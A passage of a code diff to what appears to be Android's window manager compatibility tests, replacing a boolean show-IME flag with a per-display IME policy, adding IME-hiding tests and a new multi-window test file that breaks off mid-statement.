         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -463,7 +463,9 @@
                     .setLaunchInSplitScreen(splitScreen)
                     .createDisplay();
             if (splitScreen) {
-                mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+                // Set the secondary split root task as launch root to verify remaining tasks will
+                // be reparented to matching launch root after removed the virtual display.
+                mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
             }
 
             // Launch activity on new secondary display.
@@ -481,7 +483,7 @@
                 .setWindowingMode(windowingMode)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
                 .build());
-        mWmState.assertSanity();
+        mWmState.assertValidity();
 
         // Check if the top activity is now back on primary display.
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
@@ -764,7 +766,7 @@
         transitionActivitySession.launchTestActivityOnDisplaySync(StandardActivity.class,
                 DEFAULT_DISPLAY);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         assertEquals(TRANSIT_TASK_OPEN,
                 mWmState.getDisplay(DEFAULT_DISPLAY).getLastTransition());
 
@@ -773,7 +775,7 @@
         launchActivityOnDisplayNoWait(TEST_ACTIVITY, newDisplay.mId);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         mWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
 
         // Verify each display's last transition if is correct as expected.
         assertEquals(TRANSIT_TASK_CLOSE,
@@ -791,7 +793,7 @@
         // Launch TestActivity in virtual display & capture its transition state.
         launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
         mWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         final String lastTranstionOnVirtualDisplay = mWmState
                 .getDisplay(newDisplay.mId).getLastTransition();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
index cb956f6..f14bf6a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
@@ -41,6 +41,9 @@
 import static android.server.wm.third.Components.THIRD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_HIDE;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -629,13 +632,14 @@
 
         // Verify setting show IME flag without internal system permission.
         try {
-            wm.setShouldShowIme(trustedDisplay.mId, true);
+            wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_LOCAL);
 
             // Unexpected result, restore flag to avoid affecting other tests.
-            wm.setShouldShowIme(trustedDisplay.mId, false);
+            wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_FALLBACK_DISPLAY);
             TestUtils.waitUntil("Waiting for show IME flag to be set",
                     5 /* timeoutSecond */,
-                    () -> !wm.shouldShowIme(trustedDisplay.mId));
+                    () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                            == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
             fail("Should not allow setting show IME flag without internal system permission");
         } catch (SecurityException e) {
             // Expected security exception.
@@ -664,7 +668,7 @@
 
         // Verify getting show IME flag without internal system permission.
         try {
-            wm.shouldShowIme(trustedDisplay.mId);
+            wm.getDisplayImePolicy(trustedDisplay.mId);
             fail("Only allow internal system to get show IME flag");
         } catch (SecurityException e) {
             // Expected security exception.
@@ -701,13 +705,14 @@
         // Verify setting show IME flag to an untrusted display.
         getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
         try {
-            wm.setShouldShowIme(untrustedDisplay.mId, true);
+            wm.setDisplayImePolicy(untrustedDisplay.mId, DISPLAY_IME_POLICY_LOCAL);
 
             // Unexpected result, restore flag to avoid affecting other tests.
-            wm.setShouldShowIme(untrustedDisplay.mId, false);
+            wm.setDisplayImePolicy(untrustedDisplay.mId, DISPLAY_IME_POLICY_FALLBACK_DISPLAY);
             TestUtils.waitUntil("Waiting for show IME flag to be set",
                     5 /* timeoutSecond */,
-                    () -> !wm.shouldShowIme(untrustedDisplay.mId));
+                    () -> (wm.getDisplayImePolicy(untrustedDisplay.mId)
+                            == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
             fail("Should not allow setting show IME flag to the untrusted virtual display");
         } catch (SecurityException e) {
             // Expected security exception.
@@ -731,9 +736,10 @@
                 wm.shouldShowSystemDecors(untrustedDisplay.mId)));
 
         // Verify getting show IME flag from an untrusted display.
-        SystemUtil.runWithShellPermissionIdentity(() -> assertFalse(
+        SystemUtil.runWithShellPermissionIdentity(() -> assertEquals(
                 "Display should not support showing IME window",
-                wm.shouldShowIme(untrustedDisplay.mId)));
+                wm.getDisplayImePolicy(untrustedDisplay.mId),
+                DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
     }
 
     /**
@@ -770,21 +776,32 @@
         // Verify setting show IME flag to a trusted display.
         SystemUtil.runWithShellPermissionIdentity(() -> {
             // Assume the display should not show IME window by default.
-            assertFalse(wm.shouldShowIme(trustedDisplay.mId));
+            assertEquals(DISPLAY_IME_POLICY_FALLBACK_DISPLAY,
+                    wm.getDisplayImePolicy(trustedDisplay.mId));
 
             try {
-                wm.setShouldShowIme(trustedDisplay.mId, true);
+                wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_LOCAL);
                 TestUtils.waitUntil("Waiting for show IME flag to be set",
                         5 /* timeoutSecond */,
-                        () -> wm.shouldShowIme(trustedDisplay.mId));
+                        () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                                == DISPLAY_IME_POLICY_LOCAL));
 
-                assertTrue(wm.shouldShowIme(trustedDisplay.mId));
+                assertEquals(DISPLAY_IME_POLICY_LOCAL, wm.getDisplayImePolicy(trustedDisplay.mId));
+
+                wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_HIDE);
+                TestUtils.waitUntil("Waiting for show IME flag to be set",
+                        5 /* timeoutSecond */,
+                        () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                                == DISPLAY_IME_POLICY_HIDE));
+
+                assertEquals(DISPLAY_IME_POLICY_HIDE, wm.getDisplayImePolicy(trustedDisplay.mId));
             } finally {
                 // Restore flag to avoid affecting other tests.
-                wm.setShouldShowIme(trustedDisplay.mId, false);
+                wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_FALLBACK_DISPLAY);
                 TestUtils.waitUntil("Waiting for show IME flag to be set",
                         5 /* timeoutSecond */,
-                        () -> !wm.shouldShowIme(trustedDisplay.mId));
+                        () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                                == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
             }
         });
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 0dd955e..8dbc12c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -28,11 +28,15 @@
 import static android.server.wm.BarTestUtils.assumeHasBars;
 import static android.server.wm.MockImeHelper.createManagedMockImeSession;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_HIDE;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -382,7 +386,7 @@
         // Create a virtual display and launch an activity on it.
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setShowSystemDecorations(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .setSimulateDisplay(true)
                 .createDisplay();
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
@@ -473,7 +477,7 @@
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setShowSystemDecorations(true)
                 .setSimulateDisplay(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .createDisplay();
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
                 DEFAULT_DISPLAY);
@@ -533,9 +537,10 @@
                 .setPublicDisplay(true)
                 .createDisplay();
         SystemUtil.runWithShellPermissionIdentity(
-                () -> assertFalse("Display should not support showing IME window",
+                () -> assertTrue("Display should not support showing IME window",
                         mTargetContext.getSystemService(WindowManager.class)
-                                .shouldShowIme(newDisplay.mId)));
+                                .getDisplayImePolicy(newDisplay.mId)
+                                == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
 
         // Launch Ime test activity in virtual display.
         imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
@@ -543,9 +548,9 @@
 
         // Expect onStartInput / showSoftInput would be executed when user tapping on the
         // non-system created display intentionally.
-        final Rect drawRect = new Rect();
-        imeTestActivitySession.getActivity().mEditText.getDrawingRect(drawRect);
-        tapOnDisplaySync(drawRect.left, drawRect.top, newDisplay.mId);
+        final int[] location = new int[2];
+        imeTestActivitySession.getActivity().mEditText.getLocationOnScreen(location);
+        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
 
         // Verify the activity to show soft input on the default display.
         final ImeEventStream stream = mockImeSession.openEventStream();
@@ -572,6 +577,111 @@
         assertFalse(expectCommand(stream, callCursorUpdates, TIMEOUT).getReturnBooleanValue());
     }
 
+    /**
+     * Test that the IME can be hidden with the {@link WindowManager#DISPLAY_IME_POLICY_HIDE} flag.
+     */
+    @Test
+    public void testDisplayPolicyImeHideImeOperation() throws Exception {
+        assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
+
+        final MockImeSession mockImeSession = createManagedMockImeSession(this);
+        final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+                createManagedTestActivitySession();
+
+        // Create a virtual display and launch an activity on virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setShowSystemDecorations(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_HIDE)
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        // Launch Ime test activity in virtual display.
+        imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
+                newDisplay.mId);
+
+        // Verify the activity is launched to the secondary display.
+        final ComponentName imeTestActivityName =
+                imeTestActivitySession.getActivity().getComponentName();
+        assertThat(mWmState.hasActivityInDisplay(newDisplay.mId, imeTestActivityName)).isTrue();
+
+        // Expect onStartInput to not execute when user taps on the display with the HIDE policy.
+        final int[] location = new int[2];
+        imeTestActivitySession.getActivity().mEditText.getLocationOnScreen(location);
+        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
+
+        // Verify tapping secondary display to request focus on EditText does not show soft input.
+        final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+        final ImeEventStream stream = mockImeSession.openEventStream();
+        imeTestActivitySession.runOnMainSyncAndWait(
+                imeTestActivitySession.getActivity()::showSoftInput);
+        notExpectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+                NOT_EXPECT_TIMEOUT);
+    }
+
+    /**
+     * Test that the IME remains hidden with the {@link WindowManager#DISPLAY_IME_POLICY_HIDE} flag
+     * if the user taps the EditText on displays with no system decorations.
+     */
+    @Test
+    public void testDisplayPolicyImeHideImeNoSystemDecorations() throws Exception {
+        assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
+
+        final MockImeSession mockImeSession = createManagedMockImeSession(this);
+
+        // Launch Ime test activity on default display.
+        final TestActivitySession<ImeTestActivity2> defaultDisplaySession =
+                createManagedTestActivitySession();
+        defaultDisplaySession.launchTestActivityOnDisplaySync(ImeTestActivity2.class,
+                DEFAULT_DISPLAY);
+
+        // Tap the EditText to start IME session.
+        final int[] location = new int[2];
+        EditText editText = defaultDisplaySession.getActivity().mEditText;
+        tapOnDisplayCenter(DEFAULT_DISPLAY);
+        editText.getLocationOnScreen(location);
+        tapOnDisplaySync(location[0], location[1], DEFAULT_DISPLAY);
+
+        // Verify the activity shows soft input on the default display.
+        final ImeEventStream stream = mockImeSession.openEventStream();
+        waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
+                editorMatcher("onStartInput", editText.getPrivateImeOptions()),
+                event -> "showSoftInput".equals(event.getEventName()));
+
+        // Create a virtual display with the policy to hide the IME.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setShowSystemDecorations(false)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_HIDE)
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> assertTrue("Display should not support showing IME window",
+                        mTargetContext.getSystemService(WindowManager.class)
+                                .getDisplayImePolicy(newDisplay.mId)
+                                == DISPLAY_IME_POLICY_HIDE));
+
+        final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+                createManagedTestActivitySession();
+
+        // Launch Ime test activity in virtual display.
+        imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
+                newDisplay.mId);
+
+        // Tap the EditText on the virtual display.
+        editText = imeTestActivitySession.getActivity().mEditText;
+        tapOnDisplayCenter(newDisplay.mId);
+        editText.getLocationOnScreen(location);
+        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
+
+        final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+        // Verify the activity does not show soft input.
+        notExpectEvent(stream, editorMatcher("onStartInput", editText.getPrivateImeOptions()),
+                TIMEOUT);
+        InputMethodVisibilityVerifier.expectImeInvisible(TIMEOUT);
+    }
+
     @Test
     public void testImeWindowCanShownWhenActivityMovedToDisplay() throws Exception {
         // If config_perDisplayFocusEnabled, the focus will not move even if touching on
@@ -589,7 +699,7 @@
         // Create a virtual display and launch an activity on virtual display.
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setShowSystemDecorations(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .setSimulateDisplay(true)
                 .createDisplay();
 
@@ -609,6 +719,8 @@
         // display.
         final DisplayContent defDisplay = mWmState.getDisplay(DEFAULT_DISPLAY);
         tapOnDisplayCenter(defDisplay.mId);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        mWmState.assertValidity();
 
         // Reparent ImeTestActivity from virtual display to default display.
         getLaunchActivityBuilder()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 43ecf71..3183c75 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -35,6 +35,7 @@
 import static android.server.wm.app.Components.VirtualDisplayActivity.VIRTUAL_DISPLAY_PREFIX;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -43,6 +44,7 @@
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.hasSize;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
 import android.content.ComponentName;
@@ -276,9 +278,13 @@
             mInitialDisplayMetrics.setDisplayMetrics(size, density);
         }
 
+        void restoreDisplayMetrics() {
+            mInitialDisplayMetrics.restoreDisplayMetrics();
+        }
+
         @Override
         public void close() {
-            mInitialDisplayMetrics.restoreDisplayMetrics();
+            restoreDisplayMetrics();
         }
     }
 
@@ -320,7 +326,7 @@
         private boolean mResizeDisplay = true;
         private boolean mShowSystemDecorations = false;
         private boolean mOwnContentOnly = false;
-        private boolean mRequestShowIme = false;
+        private int mDisplayImePolicy = DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
         private boolean mPresentationDisplay = false;
         private boolean mSimulateDisplay = false;
         private boolean mMustBeCreated = true;
@@ -364,8 +370,18 @@
             return this;
         }
 
-        VirtualDisplaySession setRequestShowIme(boolean requestShowIme) {
-            mRequestShowIme = requestShowIme;
+        /**
+         * Sets the policy for how the display should show the ime.
+         *
+         * Set to one of:
+         *   <ul>
+         *     <li>{@link WindowManager#DISPLAY_IME_POLICY_LOCAL}
+         *     <li>{@link WindowManager#DISPLAY_IME_POLICY_FALLBACK_DISPLAY}
+         *     <li>{@link WindowManager#DISPLAY_IME_POLICY_HIDE}
+         *   </ul>
+         */
+        VirtualDisplaySession setDisplayImePolicy(int displayImePolicy) {
+            mDisplayImePolicy = displayImePolicy;
             return this;
         }
 
@@ -410,6 +426,11 @@
         }
 
         void resizeDisplay() {
+            if (mSimulateDisplay) {
+                throw new IllegalStateException(
+                        "Please use ReportedDisplayMetrics#setDisplayMetrics to resize"
+                                + " simulate display");
+            }
             executeShellCommand(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY)
                     + " -f 0x20000000" + " --es " + KEY_COMMAND + " " + COMMAND_RESIZE_DISPLAY);
         }
@@ -439,9 +460,7 @@
                     mDensityDpi,
                     mOwnContentOnly,
                     mShowSystemDecorations);
-            if (mRequestShowIme) {
-                mOverlayDisplayDeviceSession.configureDisplays(true /* requestShowIme */);
-            }
+            mOverlayDisplayDeviceSession.configureDisplays(mDisplayImePolicy /* imePolicy */);
             return mOverlayDisplayDeviceSession.getCreatedDisplays();
         }
 
@@ -471,6 +490,9 @@
                         .setToSide(true)
                         .setTargetActivity(VIRTUAL_DISPLAY_ACTIVITY)
                         .execute();
+                final int secondaryTaskId =
+                        mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY).mTaskId;
+                mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
             } else {
                 launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
             }
@@ -610,15 +632,15 @@
             set(displaySettingsEntry);
         }
 
-        void configureDisplays(boolean requestShowIme) {
+        void configureDisplays(int imePolicy) {
             SystemUtil.runWithShellPermissionIdentity(() -> {
                 for (DisplayContent display : mDisplays) {
-                    final boolean showIme = mWm.shouldShowIme(display.mId);
-                    mDisplayStates.add(new OverlayDisplayState(display.mId, showIme));
-                    if (requestShowIme != showIme) {
-                        mWm.setShouldShowIme(display.mId, requestShowIme);
+                    final int oldImePolicy = mWm.getDisplayImePolicy(display.mId);
+                    mDisplayStates.add(new OverlayDisplayState(display.mId, oldImePolicy));
+                    if (imePolicy != oldImePolicy) {
+                        mWm.setDisplayImePolicy(display.mId, imePolicy);
                         waitForOrFail("display config show-IME to be set",
-                                () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+                                () -> (mWm.getDisplayImePolicy(display.mId) == imePolicy));
                     }
                 }
             });
@@ -626,11 +648,11 @@
 
         private void restoreDisplayStates() {
             mDisplayStates.forEach(state -> SystemUtil.runWithShellPermissionIdentity(() -> {
-                mWm.setShouldShowIme(state.mId, state.mShouldShowIme);
+                mWm.setDisplayImePolicy(state.mId, state.mImePolicy);
 
                 // Only need to wait the last flag to be set.
                 waitForOrFail("display config show-IME to be restored",
-                        () -> mWm.shouldShowIme(state.mId) == state.mShouldShowIme);
+                        () -> (mWm.getDisplayImePolicy(state.mId) == state.mImePolicy));
             }));
         }
 
@@ -657,11 +679,11 @@
 
         private class OverlayDisplayState {
             int mId;
-            boolean mShouldShowIme;
+            int mImePolicy;
 
-            OverlayDisplayState(int displayId, boolean showIme) {
+            OverlayDisplayState(int displayId, int imePolicy) {
                 mId = displayId;
-                mShouldShowIme = showIme;
+                mImePolicy = imePolicy;
             }
         }
     }
@@ -725,6 +747,8 @@
 
     protected void assertBothDisplaysHaveResumedActivities(
             Pair<Integer, ComponentName> firstPair, Pair<Integer, ComponentName> secondPair) {
+        assertNotEquals("Displays must be different.  First display id: "
+                        + firstPair.first, firstPair.first, secondPair.first);
         mWmState.assertResumedActivities("Both displays must have resumed activities",
                 mapping -> {
                     mapping.put(firstPair.first, firstPair.second);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
new file mode 100644
index 0000000..1651a0a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
@@ -0,0 +1,528 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
+import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
+import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivityCallback;
+import android.window.WindowContainerToken;
+import android.window.WindowContainerTransaction;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:MultiWindowTests
+ */
+@Presubmit
+@android.server.wm.annotation.Group2
+public class MultiWindowTests extends ActivityManagerTestBase {
+
+    private boolean mIsHomeRecentsComponent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mIsHomeRecentsComponent = mWmState.isHomeRecentsComponent();
+
+        assumeTrue("Skipping test: no split multi-window support",
+                supportsSplitScreenMultiWindow());
+    }
+
+    @Test
+    public void testMinimumDeviceSize() {
+        mWmState.assertDeviceDefaultDisplaySizeForMultiWindow(
+                "Devices supporting multi-window must be larger than the default minimum"
+                        + " task size");
+        mWmState.assertDeviceDefaultDisplaySizeForSplitScreen(
+                "Devices supporting split-screen multi-window must be larger than the"
+                        + " default minimum display size.");
+    }
+
+    /** Resizeable activity should be able to enter multi-window mode.*/
+    @Test
+    public void testResizeableActivity() {
+        launchActivityInPrimarySplit(TEST_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        mWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+    }
+
+    /**
+     * Non-resizeable activity should NOT be able to enter multi-window mode,
+     * but should still be visible.
+     */
+    @Test
+    public void testNonResizeableActivity() {
+        createManagedSupportsNonResizableMultiWindowSession().set(0);
+
+        boolean gotAssertionError = false;
+        try {
+            launchActivityInPrimarySplit(NON_RESIZEABLE_ACTIVITY);
+        } catch (AssertionError e) {
+            gotAssertionError = true;
+        }
+        assertTrue("Trying to put non-resizeable activity in split should throw error.",
+                gotAssertionError);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_splitScreenPrimary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivityInPrimarySplit(NON_RESIZEABLE_ACTIVITY);
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_splitScreenSecondary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivityInPrimarySplit(TEST_ACTIVITY);
+
+        mWmState.waitForActivityState(TEST_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                TEST_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+
+        launchActivityInSecondarySplit(NON_RESIZEABLE_ACTIVITY);
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_SplitScreenPrimary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(NON_RESIZEABLE_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    /**
+     * Non-resizeable activity can enter split-screen if
+     * {@link android.provider.Settings.Global#DEVELOPMENT_ENABLE_NON_RESIZABLE_MULTI_WINDOW} is
+     * set.
+     */
+    @Test
+    public void testSupportsNonResizeableMultiWindow_SplitScreenSecondary() {
+        createManagedSupportsNonResizableMultiWindowSession().set(1);
+
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(NON_RESIZEABLE_ACTIVITY));
+
+        mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
+        mWmState.assertVisibility(NON_RESIZEABLE_ACTIVITY, true);
+        assertTrue(mWmState.containsActivityInWindowingMode(
+                NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_MULTI_WINDOW));
+    }
+
+    @Test
+    public void testLaunchToSideMultiWindowCallbacks() {
+        // Launch two activities in split-screen mode.
+        launchActivitiesInSplitScreen(
+                getLaunchActivityBuilder().setTargetActivity(NO_RELAUNCH_ACTIVITY),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+
+        int displayWindowingMode = mWmState.getDisplay(
